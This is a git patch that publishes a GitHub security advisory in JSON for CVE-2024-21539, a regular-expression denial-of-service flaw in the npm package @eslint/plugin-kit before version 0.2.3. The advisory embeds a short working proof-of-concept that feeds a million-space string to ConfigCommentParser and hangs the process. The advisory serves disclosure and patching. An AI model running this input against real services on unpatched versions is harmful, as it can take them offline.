From 5db670254fe95be22e0f633a58543a6265afee85 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
 <45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 15 Nov 2024 20:48:59 +0000
Subject: [PATCH] Publish GHSA-7q7g-4xm8-89cq

---
 .../GHSA-7q7g-4xm8-89cq.json                  | 58 +++++++++++++++++++
 1 file changed, 58 insertions(+)
 create mode 100644 advisories/github-reviewed/2024/11/GHSA-7q7g-4xm8-89cq/GHSA-7q7g-4xm8-89cq.json

diff --git a/advisories/github-reviewed/2024/11/GHSA-7q7g-4xm8-89cq/GHSA-7q7g-4xm8-89cq.json b/advisories/github-reviewed/2024/11/GHSA-7q7g-4xm8-89cq/GHSA-7q7g-4xm8-89cq.json
new file mode 100644
index 00000000000..f7fc1d8d3a7
--- /dev/null
+++ b/advisories/github-reviewed/2024/11/GHSA-7q7g-4xm8-89cq/GHSA-7q7g-4xm8-89cq.json
@@ -0,0 +1,58 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-7q7g-4xm8-89cq",
+  "modified": "2024-11-15T20:47:31Z",
+  "published": "2024-11-15T20:47:31Z",
+  "aliases": [
+    "CVE-2024-21539"
+  ],
+  "summary": "Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit",
+  "details": "Crafting a very large and well crafted string can increase the CPU usage and crash the program.\n\n## POC\n\n```js\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nvar str = \"\";\nfor (var i = 0; i < 1000000; i++) {\n  str += \" \";\n}\nstr += \"A\";\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseStringConfig(str, \"\"));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit` and `node attack.js` \n// then the program will stuck forever with high CPU usage\n```",
+  "severity": [
+
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "@eslint/plugin-kit"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "0.2.3"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/eslint/rewrite"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-1333"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2024-11-15T20:47:31Z",
+    "nvd_published_at": null
+  }
+}
\ No newline at end of file